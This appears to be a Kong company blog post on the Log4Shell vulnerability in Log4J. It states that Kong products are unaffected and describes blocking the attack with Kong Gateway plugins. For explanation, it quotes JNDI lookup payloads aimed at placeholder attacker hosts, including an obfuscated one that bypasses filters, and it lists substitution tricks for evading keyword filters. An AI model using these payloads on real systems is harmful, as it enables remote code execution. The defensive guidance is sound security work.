Log4J, Log4Shell and Kong
If you've been online at all this week, chances are that you've heard about the Log4Shell zero-day (CVE-2021-44228) in Log4J, a popular Java logging library. The vulnerability enables Remote Code Execution (RCE), which allows attackers to run arbitrary code on the target's machines.
I know the first question that you all have is: "Is Kong affected by Log4Shell?" Let's start with the good news: No Kong products are affected by this Log4J vulnerability. Our products are built with multiple languages, including Lua, C++, Go and Nodejs, but no Java.
That's a great starting point, but we wanted to ensure that not only were our products not impacted, but none of our internal systems (such as our build servers) were either. We do run some Java software at Kong, but we've run an audit and concluded that no systems have been impacted.
Now that we've established that the supply chain hasn't been tampered with, let's move on to the next pressing question: "Can Kong help me detect and prevent Log4Shell?". The short answer is yes! Keep reading to learn how to use Kong Gateway to mitigate Log4Shell attacks on your own applications.
Block Log4Shell With Kong's Request Transformer Plugin
The Request Transformer plugin that is available in both the OSS and Enterprise versions of Kong Gateway is the first option to help mitigate the Log4Shell vulnerability.
Request Transformer allows you to manipulate requests before they are passed to your upstream service. Here's an example of how to remove the string jndi from the Referer header before it's passed upstream:
This helps insulate us from the most basic form of this attack -- when the string is passed directly in the Referer header. It helps us prevent attacks similar to this:
Once the Request Transformer plugin has run, the Referer header upstream will contain ${disabled:ldap://evil-ldap.example.com:80/callback}, preventing the vulnerability.
Unfortunately for us, attackers are getting quite imaginative and are sending vulnerable payloads in several headers, and with lots of different obfuscation methods.
If you’re filtering on “ldap”, “jndi”, or the ${lower:x} method, I have bad news for you:
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
This gets past every filter I’ve found so far. There’s no shortage of these bypasses.#log4j
— Brandon Forbes (@Rezn0k) December 11, 2021
Whilst you could build a Request Transformer configuration that blocks every single one of these attacks, it would become hard to manage very quickly. Luckily, there's another way! Using the power of Kong's plugin system, we can build a custom plugin to block malicious requests.
Block Log4Shell With a Kong Plugin
Kong's plugin system allows you to run code written in Lua, JavaScript or Go before passing the request to an upstream server. In this example, we'll be using Lua to normalize all of the request headers and sanitize them.
In this section, we'll be showing a Kong plugin built by Brent Yarger, a field engineer at Kong.
The community's understanding of Log4Shell is constantly evolving. The example shared blocks all of the vectors that we're aware of today, but should not be considered comprehensive. Please do your own due diligence before deploying any solution.
Many of the obfuscation techniques rely on string interpolation capabilities such as making a string uppercase or lowercase. All of the following will output the letter d in the log message once the substitutions have been completed:
- ${lower:d}
- ${upper:d}
- ${env:MISSING:-d}
- ${::-d}
We can use Lua to resolve these substitutions ourselves, which would convert ${lower:j}${upper:n}${::-d}${env:MISSING:-I}: to jndi:. At this point, we can check if the header contains jndi: and return a HTTP 403 if so.
The final thing to note is that the plugin iterates through all headers found in the request. This prevents the need to maintain a list of headers to check manually.
One More Thing!
We've shown you how to mitigate any attacks so far, but how do you know if your application is vulnerable at all?
To help you out, we've created an Insomnia collection containing sample requests using the lower, upper, env and default substitutions shown above. Click on the button below to import it into your Insomnia workspace:
Once you've imported it, you'll need to edit the environment and provide a value for the exfiltrate variable. This is the hostname where the data will be sent to. I've used interactsh whilst testing.
If you'd like to try out the collection but don't want to test against production systems (I don't blame you!), you can use the log4jpwn project on GitHub to build a Docker containing that exposes a vulnerable service.
Let's Recap
To wrap this up, let's recap what we learned today:
- Log4Shell is a remote code execution vulnerability in Log4J, a popular Java logging library
- No Kong products are affected by Log4Shell
- No systems in the Kong supply chain are vulnerable to Log4Shell
- You can mitigate Log4Shell using a custom Kong Gateway plugin
- There's an Insomnia collection available to help you test your own applications
Phew! That's a ton of stuff for such a short blog post. Good luck as you work on securing your infrastructure, and don't hesitate to ask if you have any more questions related to Kong's products.